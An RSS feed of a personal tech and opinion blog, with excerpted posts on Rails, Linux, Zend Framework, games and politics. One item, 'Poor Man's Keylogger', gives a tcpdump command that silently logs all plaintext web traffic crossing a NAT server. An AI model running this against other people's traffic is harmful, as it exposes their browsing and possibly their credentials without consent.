<?xml version='1.0' ?>
<rss version='2.0'>
<channel>
<link>http://destiney.com/rss</link>
<title>Destiney.com RSS Feed</title>
<description>Destiney's Reality Blog Entires</description>
<language>en-us</language>
<pubDate>Sun, 21 Mar 2010 18:21:17 UTC</pubDate>
<lastBuildDate>Sun, 21 Mar 2010 18:21:17 UTC</lastBuildDate>
<docs>http://destiney.com/rss</docs>
<generator>Greg Donald</generator>
<managingEditor>webmaster@destiney.com</managingEditor>
<webMaster>webmaster@destiney.com</webMaster>
<item>
<title>Android  Development Resources</title>
<link>http://destiney.com/blog/android-development-resources</link>
<description>Here are some Android game development websites and resources:



  NeHe Production's OpenGL Tutorials on Android
  OpenGL ES 1.1 API
  Khronos OpenGL(R) ES Java API
  OpenGL Tutorials
  Rokon Opensource 2D Game Framework/Engine
  A multi-part Android 3D Game Tutorial
  O'Reilly Android How-to on YouTube, 73 mins
  Replica Island (2D side-scroller) Development Blog
  Goo...<br /><br /><a href="http://destiney.com/blog/android-development-resources">http://destiney.com/blog/android-development-resources</a><br /><br /></description>
<pubDate>Wed, 06 Jan 2010 02:41:13 UTC</pubDate>
<guid>http://destiney.com/blog/android-development-resources</guid>
</item>
<item>
<title>Faulty Metal Detectors in Nashville, TN Government Buildings</title>
<link>http://destiney.com/blog/faulty-metal-detectors-in-nashville-tn-government-buildings</link>
<description>I had to go to the County Court Clerk's office the other day on personal business.

Like most government office buildings these days, they have metal detectors in place just inside the entrances.

Not wanting to be held up at the metal detector for any longer that necessary, I always leave everything I can in the car, including my wallet.  I take out of my wallet and put into my...<br /><br /><a href="http://destiney.com/blog/faulty-metal-detectors-in-nashville-tn-government-buildings">http://destiney.com/blog/faulty-metal-detectors-in-nashville-tn-government-buildings</a><br /><br /></description>
<pubDate>Sat, 14 Nov 2009 18:14:16 UTC</pubDate>
<guid>http://destiney.com/blog/faulty-metal-detectors-in-nashville-tn-government-buildings</guid>
</item>
<item>
<title>Warning for all web developers/designers in Nashville, TN, please read this</title>
<link>http://destiney.com/blog/warning-for-all-web-developers-designers-in-nashville-tn-please-read-this</link>
<description>It seems I'm being ripped off by some guys I developed a site for here in Nashville, TN a few months back.

They paid me on the first phase of the project and so I began to trust them.  I should have known something was up when I had to pause working on the project to get them to pay me.  But then after I installed the code on their server, they immediately dumped me from the proj...<br /><br /><a href="http://destiney.com/blog/warning-for-all-web-developers-designers-in-nashville-tn-please-read-this">http://destiney.com/blog/warning-for-all-web-developers-designers-in-nashville-tn-please-read-this</a><br /><br /></description>
<pubDate>Wed, 30 Sep 2009 15:33:21 UTC</pubDate>
<guid>http://destiney.com/blog/warning-for-all-web-developers-designers-in-nashville-tn-please-read-this</guid>
</item>
<item>
<title>Rasmus Lerdorf is jealous of Rails</title>
<link>http://destiney.com/blog/rasmus-lerdorf-is-jealous-of-rails</link>
<description>In reference to the comments Rasmus Lerdorf made here:

http://www.techradar.com/news/computing/pc/how-php-became-such-a-huge-success-633591

&amp;gt; RL: I think [Ruby on] Rails has tapered out a little bit lately.

No, not at all.  The Rails core team has grown quite a bit since the Merb team joined up.  We just got the Rails 2.3.4 release a couple weeks ago.

&amp;gt; RL: Maybe t...<br /><br /><a href="http://destiney.com/blog/rasmus-lerdorf-is-jealous-of-rails">http://destiney.com/blog/rasmus-lerdorf-is-jealous-of-rails</a><br /><br /></description>
<pubDate>Mon, 14 Sep 2009 19:34:22 UTC</pubDate>
<guid>http://destiney.com/blog/rasmus-lerdorf-is-jealous-of-rails</guid>
</item>
<item>
<title>Linus Torvalds is a jackass</title>
<link>http://destiney.com/blog/linus-torvalds-is-a-jackass</link>
<description>Linus Torvalds is a jackass[1].  Those in doubt can read the LKML archives.

It's really entertaining to read him or Christoph Hellwig slamming someone trying to push a bad patch through.

[1] (but he's our jackass)<br /><br /><a href="http://destiney.com/blog/linus-torvalds-is-a-jackass">http://destiney.com/blog/linus-torvalds-is-a-jackass</a><br /><br /></description>
<pubDate>Fri, 11 Sep 2009 23:18:12 UTC</pubDate>
<guid>http://destiney.com/blog/linus-torvalds-is-a-jackass</guid>
</item>
<item>
<title>Wayne Perkins is sometimes amazed</title>
<link>http://destiney.com/blog/wayne-perkins-is-sometimes-amazed</link>
<description>Wayne Perkins: I am sometimes amazed by my abilities to handle the unexpected.

Me: But the abortion clinic is listed right there on the Internet.<br /><br /><a href="http://destiney.com/blog/wayne-perkins-is-sometimes-amazed">http://destiney.com/blog/wayne-perkins-is-sometimes-amazed</a><br /><br /></description>
<pubDate>Mon, 31 Aug 2009 23:38:18 UTC</pubDate>
<guid>http://destiney.com/blog/wayne-perkins-is-sometimes-amazed</guid>
</item>
<item>
<title>How-to build latest Linux kernel from Linus' git repo on Debian</title>
<link>http://destiney.com/blog/how-to-build-latest-linux-kernel-from-linus-git-repo-debian</link>
<description>Here's a how-to for building a recent 2.6 Linux kernel on your Debian GNU/Linux box:

You will need to do all this as root.  It's serious business building new Linux kernels :)


su -


The dash after the su command makes it behave as if you had logged in as root directly, a full login environment is applied.

Make sure you have the required tools and libraries installed:...<br /><br /><a href="http://destiney.com/blog/how-to-build-latest-linux-kernel-from-linus-git-repo-debian">http://destiney.com/blog/how-to-build-latest-linux-kernel-from-linus-git-repo-debian</a><br /><br /></description>
<pubDate>Tue, 25 Aug 2009 01:45:09 UTC</pubDate>
<guid>http://destiney.com/blog/how-to-build-latest-linux-kernel-from-linus-git-repo-debian</guid>
</item>
<item>
<title>Heavy Metal rhythm guitarist/song writer available (Nashville, TN)</title>
<link>http://destiney.com/blog/heavy-metal-rhythm-guitarist-song-writer-available-nashville-tn</link>
<description>I play guitar and I'm currently trying out for new bands.  I'm trying to get back into the music scene.

I had an audition Saturday with some really nice guys in Dickson, TN.  The problem is Dickson is 75 minutes from my house.  There's no way I could afford to drive that 2-3 times a week.  Another issue is the guys were playing stuff I wasn't much interested in playing.  They wer...<br /><br /><a href="http://destiney.com/blog/heavy-metal-rhythm-guitarist-song-writer-available-nashville-tn">http://destiney.com/blog/heavy-metal-rhythm-guitarist-song-writer-available-nashville-tn</a><br /><br /></description>
<pubDate>Wed, 05 Aug 2009 00:49:52 UTC</pubDate>
<guid>http://destiney.com/blog/heavy-metal-rhythm-guitarist-song-writer-available-nashville-tn</guid>
</item>
<item>
<title>iPhone -&gt; Android Poem</title>
<link>http://destiney.com/blog/iphone-android-poem</link>
<description>When God gave me my iPhone, He never said it was mine.
He said I couldn't keep it--only borrow it for a time.
But now He's showing me the Android.  I'm sad, and I shed tears.
I'm still very happy, I've enjoyed my iPhone all these many years.
<br /><br /><a href="http://destiney.com/blog/iphone-android-poem">http://destiney.com/blog/iphone-android-poem</a><br /><br /></description>
<pubDate>Mon, 08 Jun 2009 16:37:18 UTC</pubDate>
<guid>http://destiney.com/blog/iphone-android-poem</guid>
</item>
<item>
<title>Atheist Zeitgeist</title>
<link>http://destiney.com/blog/atheist-zeitgeist</link>
<description>The Atheist Zeitgeist is moving.  Russel's Teapot seems to be going out of style.  The Invisible Pink Unicorn has been seen coming into popularity recently.

What a time to live in!  Humanity finally ramping up to shed it's religion.  Yay!

<br /><br /><a href="http://destiney.com/blog/atheist-zeitgeist">http://destiney.com/blog/atheist-zeitgeist</a><br /><br /></description>
<pubDate>Thu, 14 May 2009 18:54:01 UTC</pubDate>
<guid>http://destiney.com/blog/atheist-zeitgeist</guid>
</item>
<item>
<title>Rails .html.erb -&gt; .erb</title>
<link>http://destiney.com/blog/rails-html-erb-erb</link>
<description>You can use this little shell script to rename (svn mv) all your old .html.erb files to just plain old .erb:


for x in `find . -type f -name \*.html.erb`; do
  svn mv $x `echo $x | sed 's/\(.*\.\)html\.erb/\1erb/'`;
done


And then to get Emacs to make them all pretty:


(setq auto-mode-alist (cons '(&quot;.erb$&quot; . html-mode) auto-mode-alist))
<br /><br /><a href="http://destiney.com/blog/rails-html-erb-erb">http://destiney.com/blog/rails-html-erb-erb</a><br /><br /></description>
<pubDate>Wed, 06 May 2009 10:22:17 UTC</pubDate>
<guid>http://destiney.com/blog/rails-html-erb-erb</guid>
</item>
<item>
<title>/dev/69</title>
<link>http://destiney.com/blog/dev-69</link>
<description>Here's a little something for fun:

It's a /dev/69 for those bored of /dev/zero:


#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;sys/wait.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int daemon_init( void )
{
    pid_t pid;

  ...<br /><br /><a href="http://destiney.com/blog/dev-69">http://destiney.com/blog/dev-69</a><br /><br /></description>
<pubDate>Wed, 29 Apr 2009 18:40:08 UTC</pubDate>
<guid>http://destiney.com/blog/dev-69</guid>
</item>
<item>
<title>Dear Time Warner and any other retarded ISPs looking to grow a brain..</title>
<link>http://destiney.com/blog/dear-time-warner-any-other-retarded-isps-looking-to-grow-a-brain</link>
<description>If you sell me an internet connection that does x megabits per second, then expect me to use x megabits per second 24/7.

Otherwise only sell me the connection speed where you do actually plan for me to do x megabits per second.  If it's lower then it's lower.

You are selling me the connection, don't then expect me to not use it as much as I can after the sale.

It's like me ...<br /><br /><a href="http://destiney.com/blog/dear-time-warner-any-other-retarded-isps-looking-to-grow-a-brain">http://destiney.com/blog/dear-time-warner-any-other-retarded-isps-looking-to-grow-a-brain</a><br /><br /></description>
<pubDate>Fri, 17 Apr 2009 09:53:38 UTC</pubDate>
<guid>http://destiney.com/blog/dear-time-warner-any-other-retarded-isps-looking-to-grow-a-brain</guid>
</item>
<item>
<title>Book Review: Lighttpd by Andre Bogus</title>
<link>http://destiney.com/blog/book-review-lighttpd-by-andre-bogus</link>
<description>More Books ByPackt PublishingBook Review: Lighttpd by Andre Bogus

Summary: This book makes an excellent guide to the inner workings and configuration options for the Lighttpd web server.  I found the book very concise and practical.  It's simply packed full of real-world examples any sysadmin will love.

Chapter 1: This chapter helps you get Lighttpd up and running on your syst...<br /><br /><a href="http://destiney.com/blog/book-review-lighttpd-by-andre-bogus">http://destiney.com/blog/book-review-lighttpd-by-andre-bogus</a><br /><br /></description>
<pubDate>Fri, 02 Jan 2009 21:50:35 UTC</pubDate>
<guid>http://destiney.com/blog/book-review-lighttpd-by-andre-bogus</guid>
</item>
<item>
<title>New Year's Resolutions for 2009</title>
<link>http://destiney.com/blog/new-year-s-resolutions-for-2009</link>
<description>1) Lose some weight.

Over the past 5 years or so I've put on about 40 pounds.  Clearly I've become too obsessed with programming and the internet in general.  I blame Ruby and Ruby on Rails for making my recent web development projects way more fun than usual.  Or perhaps it's my late night cravings for Peanut Butter Crunch and milk.

2) Finish up some lingering home improvemen...<br /><br /><a href="http://destiney.com/blog/new-year-s-resolutions-for-2009">http://destiney.com/blog/new-year-s-resolutions-for-2009</a><br /><br /></description>
<pubDate>Tue, 30 Dec 2008 23:33:35 UTC</pubDate>
<guid>http://destiney.com/blog/new-year-s-resolutions-for-2009</guid>
</item>
<item>
<title>Barack Obama has won!  Thanks America!</title>
<link>http://destiney.com/blog/barack-obama-has-won-thanks-america</link>
<description>America, please accept my sincere thanks for electing Barack Obama for president.

I've never been so proud to be an American, to have the right to vote.



And to the rest of the world..  On behalf of the United States of America, please accept our sincere apology for the past eight years.  Things will be different going forward.
<br /><br /><a href="http://destiney.com/blog/barack-obama-has-won-thanks-america">http://destiney.com/blog/barack-obama-has-won-thanks-america</a><br /><br /></description>
<pubDate>Tue, 04 Nov 2008 22:45:46 UTC</pubDate>
<guid>http://destiney.com/blog/barack-obama-has-won-thanks-america</guid>
</item>
<item>
<title>Ubuntu 8.04 (Hardy), Dan's Guardian, Squid, Arno's iptables Firewall How-To</title>
<link>http://destiney.com/blog/ubuntu-8-04-hardy-dan-s-guardian-squid-arno-s-iptables-firewall-how-to</link>
<description>Using only free and open source software, this how-to will help you accomplish the following:


Setup a transparent web proxy (no browser configuration required).
&amp;quot;Bad internet sites&amp;quot; will be filtered and unreachable.
Setup an iptables-based NAT.


1) All these commands need to be ran as root.  If you prefer to use sudo then obviously you'll need to prefix all the ...<br /><br /><a href="http://destiney.com/blog/ubuntu-8-04-hardy-dan-s-guardian-squid-arno-s-iptables-firewall-how-to">http://destiney.com/blog/ubuntu-8-04-hardy-dan-s-guardian-squid-arno-s-iptables-firewall-how-to</a><br /><br /></description>
<pubDate>Sun, 19 Oct 2008 13:28:56 UTC</pubDate>
<guid>http://destiney.com/blog/ubuntu-8-04-hardy-dan-s-guardian-squid-arno-s-iptables-firewall-how-to</guid>
</item>
<item>
<title>My local news channel is an utter embarrasment</title>
<link>http://destiney.com/blog/my-local-news-channel-is-an-utter-embarrasment</link>
<description>I'm local to Nashville, TN and to stay current with regional news and events I read newschannel5.com news via their RSS feed.  Naturally I use the best news reader in the world.

The problem with newschannel5.com is they do not appear to have any editors on the payroll.  In addition to the apparent lack of qualified editorial staff, their writing software does not appear to contai...<br /><br /><a href="http://destiney.com/blog/my-local-news-channel-is-an-utter-embarrasment">http://destiney.com/blog/my-local-news-channel-is-an-utter-embarrasment</a><br /><br /></description>
<pubDate>Wed, 15 Oct 2008 16:34:40 UTC</pubDate>
<guid>http://destiney.com/blog/my-local-news-channel-is-an-utter-embarrasment</guid>
</item>
<item>
<title>Poor Man's Keylogger</title>
<link>http://destiney.com/blog/poor-man-s-keylogger</link>
<description>Here's a simple way to monitor web requests on your NAT/firewall server:


tcpdump -A -s 0 port 80 2&amp;gt;&amp;amp;1 &amp;gt;&amp;gt; /tmp/80.out &amp;amp;


And then for a little color:


apt-get install ccze

tail -f /tmp/80.out |ccze -A

<br /><br /><a href="http://destiney.com/blog/poor-man-s-keylogger">http://destiney.com/blog/poor-man-s-keylogger</a><br /><br /></description>
<pubDate>Mon, 29 Sep 2008 09:49:43 UTC</pubDate>
<guid>http://destiney.com/blog/poor-man-s-keylogger</guid>
</item>
<item>
<title>Dear Will Wright, Spore is a huge disappointment</title>
<link>http://destiney.com/blog/dear-will-wright-spore-is-a-huge-disappointment</link>
<description>Dear EA Games/Maxis/Will Wright,

Please explain to me why I can't more easily share Spore with my wife and children?

Why can't I install Spore on their personal computers?  Why am I limited to three installs?

You have made zero accommodations for families with multiple computers.  Understand I'm not asking you to let all of us play at the same time on the same license key.....<br /><br /><a href="http://destiney.com/blog/dear-will-wright-spore-is-a-huge-disappointment">http://destiney.com/blog/dear-will-wright-spore-is-a-huge-disappointment</a><br /><br /></description>
<pubDate>Thu, 11 Sep 2008 23:11:33 UTC</pubDate>
<guid>http://destiney.com/blog/dear-will-wright-spore-is-a-huge-disappointment</guid>
</item>
<item>
<title>God Hates Racists..  Obama '08</title>
<link>http://destiney.com/blog/god-hates-racists-obama-08</link>
<description>I made this for some &quot;friends&quot; that I discovered were racists. Then I realized there were probably many more who needed to see it as well.




digg_url = 'http://digg.com/political_opinion/God_Hates_Racists_Obama_08';

 <br /><br /><a href="http://destiney.com/blog/god-hates-racists-obama-08">http://destiney.com/blog/god-hates-racists-obama-08</a><br /><br /></description>
<pubDate>Wed, 10 Sep 2008 10:05:44 UTC</pubDate>
<guid>http://destiney.com/blog/god-hates-racists-obama-08</guid>
</item>
<item>
<title>Spore Buyer's Remorse</title>
<link>http://destiney.com/blog/spore-buyer-s-remorse</link>
<description>I bought Spore on release day, the &quot;Galactic Edition&quot; no less.  I can't begin to describe to you how unimpressed I am.  That's $80, down the drain.

The game is incredibly simplistic compared to all the hype I've heard/read the past couple of years.  It's not challenging at all.  You're done with stage one in about 20 minutes.  Stage two is about an hour, stage 3 is a couple of ho...<br /><br /><a href="http://destiney.com/blog/spore-buyer-s-remorse">http://destiney.com/blog/spore-buyer-s-remorse</a><br /><br /></description>
<pubDate>Tue, 09 Sep 2008 10:13:25 UTC</pubDate>
<guid>http://destiney.com/blog/spore-buyer-s-remorse</guid>
</item>
<item>
<title>KDE 4.1 is broken just like KDE 4.0 was</title>
<link>http://destiney.com/blog/kde-4-1-is-broken-just-like-kde-4-0-was</link>
<description>When KDE 4.0 came out I passed on it.  Being a long-time use of software in general, I've learned things that end in .0 are usually not all that great.  Later I heard KDE 4.0 was indeed very broken and many were uninstalling it and going back to KDE 3.x.  But when KDE 4.1 was announced recently, I decided to give it a try.  I've used KDE quite a bit over the years and I really like ...<br /><br /><a href="http://destiney.com/blog/kde-4-1-is-broken-just-like-kde-4-0-was">http://destiney.com/blog/kde-4-1-is-broken-just-like-kde-4-0-was</a><br /><br /></description>
<pubDate>Wed, 06 Aug 2008 19:18:06 UTC</pubDate>
<guid>http://destiney.com/blog/kde-4-1-is-broken-just-like-kde-4-0-was</guid>
</item>
<item>
<title>RailsDB 0.3 Released</title>
<link>http://destiney.com/blog/railsdb-0-3-released</link>
<description>I just released a new 0.3 revision of RailsDB.  You can download it here.

Lots of stuff has been added and improved with the biggest additions being done by Jacek Panachida.  He has added support for exporting data in several different formats including CSV, tab-delimited, and YAML.  He also wrote a bunch of tests and got Mocha integrated.

Some things I worked on include switc...<br /><br /><a href="http://destiney.com/blog/railsdb-0-3-released">http://destiney.com/blog/railsdb-0-3-released</a><br /><br /></description>
<pubDate>Tue, 22 Jul 2008 20:52:03 UTC</pubDate>
<guid>http://destiney.com/blog/railsdb-0-3-released</guid>
</item>
<item>
<title>The Planet.. worst customer service.</title>
<link>http://destiney.com/blog/the-planet-worst-customer-service</link>
<description>Back in early May the co-lo server I have at The Planet experienced multiple outages over a several day period.  I filed tickets with them every time an outage occured.  After a few days had passed and everything cleared up, I filed a new ticket asking for some billing consideration for all the outages the previous week.  After filing the ticket I was told by the support person who ...<br /><br /><a href="http://destiney.com/blog/the-planet-worst-customer-service">http://destiney.com/blog/the-planet-worst-customer-service</a><br /><br /></description>
<pubDate>Tue, 15 Jul 2008 16:10:58 UTC</pubDate>
<guid>http://destiney.com/blog/the-planet-worst-customer-service</guid>
</item>
<item>
<title>Moving a Rails app from 1.2.6 -&gt; 2.0.2</title>
<link>http://destiney.com/blog/moving-a-rails-app-from-1-2-6-2-0-2</link>
<description>Recently I was tasked with upgrading a working Rails 1.2.6 application to version 2.0.2.  Here are the majority of issues I found and their fixes/workarounds:



Old reverse_proxy_plugin = broken functional tests:

The units tests were fine, but all the functional tests were broken.  Something like this:


post :list, { :site_id =&gt; site.id }, { :user_id  =&gt; user.id }


w...<br /><br /><a href="http://destiney.com/blog/moving-a-rails-app-from-1-2-6-2-0-2">http://destiney.com/blog/moving-a-rails-app-from-1-2-6-2-0-2</a><br /><br /></description>
<pubDate>Sat, 05 Jul 2008 10:52:51 UTC</pubDate>
<guid>http://destiney.com/blog/moving-a-rails-app-from-1-2-6-2-0-2</guid>
</item>
<item>
<title>Broken mirrors and fingernails</title>
<link>http://destiney.com/blog/broken-mirrors-fingernails</link>
<description>Today on the way home I was ran off the road by a blue BMW driven by a young guy with brown hair.  He came flying around the corner on my side of the road and would have hit me had I not swerved over in time.  Swerving over caused me to side-swipe a large plastic trash can sitting out very close to the road.  The impact with the trash can snapped my passenger side mirror right off....<br /><br /><a href="http://destiney.com/blog/broken-mirrors-fingernails">http://destiney.com/blog/broken-mirrors-fingernails</a><br /><br /></description>
<pubDate>Wed, 02 Jul 2008 22:25:10 UTC</pubDate>
<guid>http://destiney.com/blog/broken-mirrors-fingernails</guid>
</item>
<item>
<title>Responses to &quot;benny the rock&quot; on Zend Framework</title>
<link>http://destiney.com/blog/responses-to-benny-the-rock-zend-framework</link>
<description>Another misguided individual, benny, put some rather pointless opinions about Zend Framework on my blog post. I replied to them, here, in a new blog entry:


&gt; It probably took you lots of time to rant about this why not use the time more productively?


In my defense, I had been coding in Rails all that day, so my increased productivity had me out ahead of the game.  In short...<br /><br /><a href="http://destiney.com/blog/responses-to-benny-the-rock-zend-framework">http://destiney.com/blog/responses-to-benny-the-rock-zend-framework</a><br /><br /></description>
<pubDate>Fri, 20 Jun 2008 17:28:55 UTC</pubDate>
<guid>http://destiney.com/blog/responses-to-benny-the-rock-zend-framework</guid>
</item>
<item>
<title>More silly Zend Framework idiocy..</title>
<link>http://destiney.com/blog/more-silly-zend-framework-idiocy</link>
<description>This really misguided individual, Matthew Ratzloff, put some rather stupid comments and opinions about Zend Framework on my blog post.  I replied to them, here, in a new blog entry:


&amp;gt; Ugh. I'm having flashbacks from my computer science days,


For me, in my daily work in genetics research, every day is a &quot;computer science&quot; day.  I'm sad for you that yours seem to have end...<br /><br /><a href="http://destiney.com/blog/more-silly-zend-framework-idiocy">http://destiney.com/blog/more-silly-zend-framework-idiocy</a><br /><br /></description>
<pubDate>Mon, 16 Jun 2008 20:39:32 UTC</pubDate>
<guid>http://destiney.com/blog/more-silly-zend-framework-idiocy</guid>
</item>
<item>
<title>Benchmarking Rails: Mongrel versus mod_rails</title>
<link>http://destiney.com/blog/benchmarking-rails-mongrel-versus-mod-rails</link>
<description>After I setup one of my Rails applications to use mod_rails yesterday, I decided today to benchmark the new setup against my old Mongrel setup.  In a nutshell, I found mod_rails to be slightly faster.  It certainly wasn't a huge margin of victory, but I'll take it. :)

I ran these benchmark tests three times each and took the best ones.  I did this to account for other traffic the...<br /><br /><a href="http://destiney.com/blog/benchmarking-rails-mongrel-versus-mod-rails">http://destiney.com/blog/benchmarking-rails-mongrel-versus-mod-rails</a><br /><br /></description>
<pubDate>Sun, 01 Jun 2008 10:38:09 UTC</pubDate>
<guid>http://destiney.com/blog/benchmarking-rails-mongrel-versus-mod-rails</guid>
</item>
<item>
<title>How To Deploy Rails Using mod_rails On Apache</title>
<link>http://destiney.com/blog/how-to-deploy-rails-using-mod-rails-apache</link>
<description>I've just spent my afternoon evaluating mod_rails.  I must say I am very, very impressed so far.  The install is fairly simple.  Here's how I did mine:

First I installed the &quot;passenger&quot; gem:


gem install passenger


Next, I used passenger to build a mod_rails module for Apache:


passenger-install-apache2-module


At the end of the mod_rails build process, passenger ...<br /><br /><a href="http://destiney.com/blog/how-to-deploy-rails-using-mod-rails-apache">http://destiney.com/blog/how-to-deploy-rails-using-mod-rails-apache</a><br /><br /></description>
<pubDate>Sat, 31 May 2008 22:09:10 UTC</pubDate>
<guid>http://destiney.com/blog/how-to-deploy-rails-using-mod-rails-apache</guid>
</item>
<item>
<title>Zend Framework core developers continue to dismay</title>
<link>http://destiney.com/blog/zend-framework-core-developers-continue-to-dismay</link>
<description>So while learning Zend Framework, I realized I would need two different doctype statements in my two different view layouts, since I would be using a frameset in my admin, but then regular XHTML everywhere else.

I found out pretty quickly I was unable to setup the proper logic directly in the view layout.  I also noticed the buggy Zend Framework doctype() helper was allowing non-...<br /><br /><a href="http://destiney.com/blog/zend-framework-core-developers-continue-to-dismay">http://destiney.com/blog/zend-framework-core-developers-continue-to-dismay</a><br /><br /></description>
<pubDate>Sat, 31 May 2008 10:03:02 UTC</pubDate>
<guid>http://destiney.com/blog/zend-framework-core-developers-continue-to-dismay</guid>
</item>
<item>
<title>Zend Framework - more stupid idiocy to deal with</title>
<link>http://destiney.com/blog/zend-framework-more-stupid-idiocy-to-deal-with</link>
<description>It seems you're not allowed to use Zend Framework's doctype() helper in a layout file like the docs clearly show.

When I tried to use it in my application's layout, my form helper calls would render non-standard HTML.  In particular the closing forward slash for my input fields was missing.

When I asked the Zend Framework guys about it I was informed the doctype() must be set ...<br /><br /><a href="http://destiney.com/blog/zend-framework-more-stupid-idiocy-to-deal-with">http://destiney.com/blog/zend-framework-more-stupid-idiocy-to-deal-with</a><br /><br /></description>
<pubDate>Thu, 29 May 2008 09:58:27 UTC</pubDate>
<guid>http://destiney.com/blog/zend-framework-more-stupid-idiocy-to-deal-with</guid>
</item>
<item>
<title>Zend Docs.. much suckage</title>
<link>http://destiney.com/blog/zend-docs-much-suckage</link>
<description>Don't count on the Zend Framework documentation to ever be very accurate.  Within 24 hours I've uncovered two case sensitivity issues:

http://www.nabble.com/layout-content-not-rendering-to17504992.html

and:

http://www.nabble.com/helper-%27DocType%27-not-found-to17516508.html

If they can't get the simple stuff right, why on earth should anyone have any trust in other more...<br /><br /><a href="http://destiney.com/blog/zend-docs-much-suckage">http://destiney.com/blog/zend-docs-much-suckage</a><br /><br /></description>
<pubDate>Wed, 28 May 2008 12:35:25 UTC</pubDate>
<guid>http://destiney.com/blog/zend-docs-much-suckage</guid>
</item>
<item>
<title>VirtualBox &quot;no workie&quot; after kernel upgrade</title>
<link>http://destiney.com/blog/virtualbox-no-workie-after-kernel-upgrade</link>
<description>Ubuntu released a new kernel version recently without also releasing a matching VirtualBox kernel module.  Like me, you probably got an error message like:


VBox status code: -1908 (VERR_VM_DRIVER_NOT_INSTALLED).


A pain, but easy enough to work around, here's how:

Clean out the exiting &quot;Ubuntu&quot; version of VirtualBox:


dpkg -r virtualbox-ose-modules-2.6.24-16-generic ...<br /><br /><a href="http://destiney.com/blog/virtualbox-no-workie-after-kernel-upgrade">http://destiney.com/blog/virtualbox-no-workie-after-kernel-upgrade</a><br /><br /></description>
<pubDate>Tue, 27 May 2008 11:00:08 UTC</pubDate>
<guid>http://destiney.com/blog/virtualbox-no-workie-after-kernel-upgrade</guid>
</item>
<item>
<title>Get the next MySQL auto_increment id using ActiveRecord</title>
<link>http://destiney.com/blog/get-the-next-mysql-auto-increment-id-using-activerecord</link>
<description>I see this come up on the Rails list from time to time, so I figured I'd document it here as a blog entry.

To get the next auto_increment id from a MySQL table using ActiveRecord:


@next = ActiveRecord::Base.connection.execute( &amp;quot;
  SELECT auto_increment
  FROM information_schema.tables
  WHERE table_name='foo'
&amp;quot; ).fetch_hash['auto_increment'].to_i

<br /><br /><a href="http://destiney.com/blog/get-the-next-mysql-auto-increment-id-using-activerecord">http://destiney.com/blog/get-the-next-mysql-auto-increment-id-using-activerecord</a><br /><br /></description>
<pubDate>Thu, 22 May 2008 15:11:50 UTC</pubDate>
<guid>http://destiney.com/blog/get-the-next-mysql-auto-increment-id-using-activerecord</guid>
</item>
<item>
<title>Simple git setup for new git users</title>
<link>http://destiney.com/blog/simple-git-setup-for-new-git-users</link>
<description>I recently set out to learn more about git, the new content manager for source code.  &quot;New&quot;, as in much younger than Subversion, and a hell of a lot younger than CVS!

No one I know personally uses git yet, but I see the Ruby on Rails community starting to use it a bit, so I decided I had better get up to speed.

Being the sole developer on my own Ruby on Rail projects, I don't ...<br /><br /><a href="http://destiney.com/blog/simple-git-setup-for-new-git-users">http://destiney.com/blog/simple-git-setup-for-new-git-users</a><br /><br /></description>
<pubDate>Sun, 11 May 2008 15:18:50 UTC</pubDate>
<guid>http://destiney.com/blog/simple-git-setup-for-new-git-users</guid>
</item>
<item>
<title>Zend Framework, Model Validation?</title>
<link>http://destiney.com/blog/zend-framework-model-validation</link>
<description>Today while reading what little traffic arrives to the Zend Framework list, some poor user posted this:


How would you go about displaying a custom error message when a sub
form fails validation? i.e. I've overloaded the subform's isValid()
method to add some custom validation thats reliant on a combination of
all the fields in the subform, if this fails I'd like to pass an e...<br /><br /><a href="http://destiney.com/blog/zend-framework-model-validation">http://destiney.com/blog/zend-framework-model-validation</a><br /><br /></description>
<pubDate>Thu, 08 May 2008 10:51:39 UTC</pubDate>
<guid>http://destiney.com/blog/zend-framework-model-validation</guid>
</item>
<item>
<title>Linux Today pages are now 100% Ads</title>
<link>http://destiney.com/blog/linux-today-pages-are-now-100-ads</link>
<description>
digg_url = 'http://digg.com/linux_unix/Linux_Today_pages_are_now_100_Ads';

Just when I thought Linux Today couldn't get any worse, it did:



There now appears to be zero content living among all the ads.  It quite hilarious.  At this point I've unsubscribed from their RSS feed and will be getting my Linux news elsewhere.

Thanks for nothing.




<br /><br /><a href="http://destiney.com/blog/linux-today-pages-are-now-100-ads">http://destiney.com/blog/linux-today-pages-are-now-100-ads</a><br /><br /></description>
<pubDate>Wed, 07 May 2008 19:17:48 UTC</pubDate>
<guid>http://destiney.com/blog/linux-today-pages-are-now-100-ads</guid>
</item>
<item>
<title>Zend Framework, What Database Abstraction Layer?</title>
<link>http://destiney.com/blog/zend-framework-what-database-abstraction-layer</link>
<description>Today while reading what little traffic arrives to the Zend Framework list, some poor user posted this:


I’ve just gotten access to a clients NetworkSolutions hosting account and
tried uploading an application to it only to find out that despite having
php 5.2.4 it doesn’t have pdo_mysql or mysqli extension installed. Is there
any hope of changing the adapter to something...<br /><br /><a href="http://destiney.com/blog/zend-framework-what-database-abstraction-layer">http://destiney.com/blog/zend-framework-what-database-abstraction-layer</a><br /><br /></description>
<pubDate>Wed, 07 May 2008 15:10:16 UTC</pubDate>
<guid>http://destiney.com/blog/zend-framework-what-database-abstraction-layer</guid>
</item>
<item>
<title>Nine Inch Nails - The Slip, Sucks</title>
<link>http://destiney.com/blog/nine-inch-nails-the-slip-sucks</link>
<description>Digg.com informed me NIN had decided to give away, as in &quot;gratis&quot;, their latest album, &quot;The Slip&quot;.  W00h00, right?  Wrong.

Down in the comments section on Digg, someone noted how it's very likely Lars Ulrich is going to be pissed about the album being free of charge.  But after listening to the album twice today, I assure you this, much like all NIN albums, is complete crap.  I'm...<br /><br /><a href="http://destiney.com/blog/nine-inch-nails-the-slip-sucks">http://destiney.com/blog/nine-inch-nails-the-slip-sucks</a><br /><br /></description>
<pubDate>Mon, 05 May 2008 16:19:22 UTC</pubDate>
<guid>http://destiney.com/blog/nine-inch-nails-the-slip-sucks</guid>
</item>
<item>
<title>Linux Today pages are 99% Ads</title>
<link>http://destiney.com/blog/linux-today-pages-are-99-ads</link>
<description>Has anyone noticed lately how the LinuxToday.com pages are simply covered with ads?  It's practically unbearable:



Maybe 1% of this screen shot (the part I drew a red circle around) is part of the actual news article I went there to read.  The rest of the page, the ads, is useless crap.  For a site that doesn't even write most of it's own content, it's insulting.

